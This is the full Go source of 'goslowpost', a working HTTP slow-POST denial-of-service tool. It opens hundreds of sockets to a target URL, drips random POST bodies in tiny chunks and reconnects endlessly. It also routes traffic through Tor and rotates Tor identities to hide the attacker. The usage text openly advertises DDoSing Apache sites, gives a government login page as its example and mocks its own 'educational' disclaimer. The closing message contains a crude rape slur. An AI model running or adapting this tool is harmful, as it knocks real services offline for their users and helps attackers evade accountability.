package main

import (
	"code.google.com/p/go.net/proxy"
	"flag"
	"fmt"
	"math/rand"
	"net"
	"net/url"
	"os"
	"strconv"
	"strings"
	"time"
)

const usageText = `goslowpost v0.4 by your friend, evilworks
An obligatory rewrite of HTTP SLOWPOST attack in yet another language.

DISCLAIMER: This tool is for educatifisdfasmfajs..... 
  If you use this to attack stuff over Tor you are in fact needlessly putting 
  the onion network exit routers in danger you bastard.

Usage:
  To DDOS an average Apache, duh!
  For example:
    goslowpost -t http://www.somesite.gov/login.php -p socks5
	
  For this tool to be effective at all a POST enabled URL is required. 
  Usually this is an url from the "action" attribute of an HTML <form> element 
  which has the "method" attribute set to "POST". All other options are for 
  fine tuning to try and find the most effective method using as less resources
  as possible.

  When you start getting connect timeout errors - it's working.

Options:
  -t   <target>     POST-enabled target URL. Must be specified.
  -s   <sockets>    Number of sockets to spawn simultaneously. Default is 500.
  -p   <proxy>      Use proxy: Available options are: 
                    "none", "proxy", "socks5". Default is "socks5".
  -ph  <proxy host> Proxy host. Default is "localhost".
  -pp  <proxy port> Proxy port. Default is "9050".
  -pu  <proxy user> Proxy username. Default is "".
  -pw  <proxy pass> Proxy password. Default is "".

  -ch  <ctrl host>  Tor control host.
  -cp  <ctrl port>  Tor control port.
  -cw  <pass>       Tor control port password.
  -ii  <delay>      Delay in seconds between establishing new Tor identity.

  -cd  <delay>      Maximum random connect delay in milliseconds. Default is
                    125
  -co  <delay>      Connect only without sending data and reconnect after
                    specified delay in seconds. If less than or equal to 0 this
                    option is ignored.
  -ho               Send headers only.
  -dl  <delay>      Minimum random send delay per socket in milliseconds. 
                    Default is 1000.
  -dh  <delay>      Maximum random send delay per socket in milliseconds. 
                    Default is 15000.
  -sl  <bytes>      Minimum random send data size per socket. Default is 256.
  -sh  <bytes>      Maximum random send data size per socket. Default is 2048.
  -sc  <bytes>      Maximum random send data chunk size. Default is 16.
`

var f_t = flag.String("t", "", "")
var f_s = flag.Int("s", 500, "")
var f_p = flag.String("p", "socks5", "")
var f_ph = flag.String("ph", "localhost", "")
var f_pp = flag.String("pp", "9050", "")
var f_pu = flag.String("pu", "", "")
var f_pw = flag.String("pw", "", "")
var f_ch = flag.String("ch", "localhost", "")
var f_cp = flag.String("cp", "9051", "")
var f_cw = flag.String("cw", "", "")
var f_ii = flag.Int("ii", 0, "")
var f_cd = flag.Int("cd", 125, "")
var f_co = flag.Int("co", 0, "")
var f_ho = flag.Bool("ho", false, "")
var f_dl = flag.Int("dl", 1000, "")
var f_dh = flag.Int("dh", 15000, "")
var f_sl = flag.Int("sl", 256, "")
var f_sh = flag.Int("sh", 2048, "")
var f_sc = flag.Int("sc", 16, "")

func showUsage() {
	fmt.Print(usageText)
}

func errAndExit(msg string) {
	fmt.Println(msg)
	os.Exit(1)
}

func checkFlags() {
	if *f_t == "" {
		errAndExit("Target not specified.")
	}
	if *f_s < 1 {
		errAndExit("Socket number must be higher than 1.")
	}
	p := strings.ToLower(*f_p)
	if p != "none" && p != "proxy" && p != "socks5" {
		errAndExit("Invalid proxy type specified.")
	}
	if *f_cd < 0 {
		errAndExit("Connect delay must be higher than or equal to 0.")
	}
	if *f_dl < 0 {
		errAndExit("Send delay low must be higher than or equal to 0.")
	}
	if *f_dh < 0 {
		errAndExit("Send delay high must be higher than or equal to 0.")
	}
	if *f_dl > *f_dh {
		errAndExit("Send delay low must be lower than send delay high.")
	}
	if *f_sl < 1 {
		errAndExit("Send data size low must be higher than 1.")
	}
	if *f_sh < 1 {
		errAndExit("Send data size high must be higher than 1.")
	}
	if *f_sl > *f_sh {
		errAndExit("Send data size low must be lower than send data size high.")
	}
	if *f_sc < 1 {
		errAndExit("Send data chunk size must be higher than or equal to 1.")
	}
	if *f_sc > *f_sh {
		errAndExit("Send data chunk size must be lower than or equal to send data size high.")
	}
}

var tgtUrl *url.URL
var tgtPort string
var tgtAuth *proxy.Auth

func generateData() []byte {
	s := rand.Intn(*f_sh-*f_sl) + *f_sl
	b := make([]byte, s)
	for i := 0; i < s; i++ {
		b[i] = byte(rand.Intn(255))
	}
	return b
}

func attackFunc() {
	fmt.Println("Running socket...")
	var c net.Conn
	var d proxy.Dialer
	var e error
	var u *url.URL

	switch *f_p {
	case "none":
		c, e = net.Dial("tcp", tgtUrl.Host+":"+tgtPort)
	case "proxy":
		u, e = url.Parse("http://" + *f_ph + ":" + *f_pp)
		d, e = proxy.FromURL(u, proxy.Direct)
		if e != nil {
			errAndExit("Error creating proxy dialer: " + e.Error())
		}
		c, e = d.Dial("tcp", tgtUrl.Host+":"+tgtPort)
	case "socks5":
		d, e = proxy.SOCKS5("tcp", *f_ph+":"+*f_pp, tgtAuth, proxy.Direct)
		if e != nil {
			errAndExit("Error creating socks5 dialer: " + e.Error())
		}
		c, e = d.Dial("tcp", tgtUrl.Host+":"+tgtPort)
	}

	if e != nil {
		fmt.Println("Error connecting to target:", e)
		time.Sleep(time.Duration(rand.Intn(*f_cd)) * time.Millisecond)
		go attackFunc()
		return
	}
	defer c.Close()
	
	if *f_co > 0 {
		time.Sleep(time.Duration(*f_co) * time.Second)
		fmt.Println("Connect-only delay done, reconnecting.")
		goto Reconnect
	}
	
	for {
		var s string = ""
		var p []byte
		
		if !*f_ho {
			if tgtUrl.Path == "" {
				s = s + "POST / HTTP/1.1\r\n"
			} else {
				s = s + "POST " + tgtUrl.Path + " HTTP/1.1\r\n"
			}			
		} else {
			if tgtUrl.Path == "" {
				s = s + "HEAD / HTTP/1.1\r\n"
			} else {
				s = s + "HEAD " + tgtUrl.Path + " HTTP/1.1\r\n"
			}		
		}
		s = s + "Host: " + tgtUrl.Host + "\r\n"
		s = s + "Connection: close\r\n"
		s = s + "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.1\r\n"
		s = s + "Cache-Control: max-age=0\r\n"
		s = s + "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
		s = s + "Accept-Encoding: gzip,deflate,sdch\r\n"
		s = s + "Accept-Language: en-US,en;q=0.8\r\n"
		s = s + "Referer: " + tgtUrl.Scheme + "://" + tgtUrl.Host + "\r\n"
		if !*f_ho {
			p =  generateData()
			s = s + "Content-Type: application/x-www-form-urlencoded\r\n"
			s = s + "Content-Length: " + strconv.Itoa(len(p)) + "\r\n"
		}
		s = s + "\r\n"
		o := []byte{}
		o = append(o, []byte(s)...)
		o = append(o, p...)
				
		i := 0
		l := len(o)
		for {
			if i >= l {
				break
			}
			n := rand.Intn(*f_sc-1) + 1
			if n+i > l {
				n = l - i
			}
			_, e = c.Write(o[i : i+n])
			//fmt.Print(string(o[i : i+n]))
			i += n
			if e != nil {
				fmt.Println("Send error, reconnecting:", e)
				goto Reconnect
			}
			time.Sleep(time.Duration(rand.Intn(*f_dh-*f_dl)+*f_dl) * time.Millisecond)
		}
		fmt.Println("Socket loop finished. RE-PEAT!")
		break
	}

Reconnect:
	time.Sleep(time.Duration(rand.Intn(*f_cd)) * time.Millisecond)
	go attackFunc()
}

func torIdentityFunc() {
	c, err := net.Dial("tcp", fmt.Sprintf("%s:%s", *f_ch, *f_cp))
	if err != nil {
		fmt.Println("Error connecting to control port:", err)
		return
	}
	defer c.Close()
	
	if *f_cw != "" {
		if _, err := c.Write([]byte(fmt.Sprintf("AUTHENTICATE \"%s\"\r\n", *f_cw))); err != nil {
			fmt.Println("Error writing to control port:", err)
			return
		}
		b := make([]byte, 1024)
		if _, err := c.Read(b); err != nil {
			fmt.Println("Error reading from control port:", err)
			return			
		} else {
			if !strings.HasPrefix(string(b), "250")	{
				fmt.Println("Control port auth failed:", string(b))
				return		
			}
		}		
	}
	if _, err := c.Write([]byte("SIGNAL NEWNYM\r\n")); err != nil {
		fmt.Println("Error writing to control port:", err)
		return	
	}
	b := make([]byte, 1024)	
	if _, err := c.Read(b); err != nil {
		fmt.Println("Error reading from control port:", err)
		return			
	} else {
		if !strings.HasPrefix(string(b), "250")	{
			fmt.Println("Error establishing new identity:", string(b))
			return		
		}		
	}
	fmt.Println("New identity established.")
}

func runTorIdentitySwitcher() {
	if *f_ch == "" || *f_cp == "" || *f_ii <= 0 {
		return
	}
	for {
		fmt.Println("Getting new Tor identity...")
		go torIdentityFunc()
		time.Sleep(time.Duration(*f_ii) * time.Second)
	}
}

func runAttack() {
	for i := 0; i < *f_s; i++ {
		go attackFunc()
		time.Sleep(time.Duration(rand.Intn(*f_cd)) * time.Millisecond)
	}
}

func main() {
	rand.Seed(time.Now().Unix())
	flag.Usage = showUsage
	if len(os.Args) == 1 {
		showUsage()
		os.Exit(1)
	}
	flag.Parse()
	checkFlags()

	var err error
	tgtUrl, err = url.Parse(*f_t)
	if err != nil {
		errAndExit("Error parsing target URL: " + err.Error())
	}

	if tgtUrl.Scheme == "http" {
		tgtPort = "80"
	} else if tgtUrl.Scheme == "https" {
		tgtPort = "443"
	} else {
		tgtPort = "80"
	}

	tgtAuth = &proxy.Auth{*f_pu, *f_pw}

	fmt.Println("Running attack. Press any key to exit...")
	go runAttack()
	go runTorIdentitySwitcher()
	fmt.Scanln()
	fmt.Println("Rape stopped.")
}
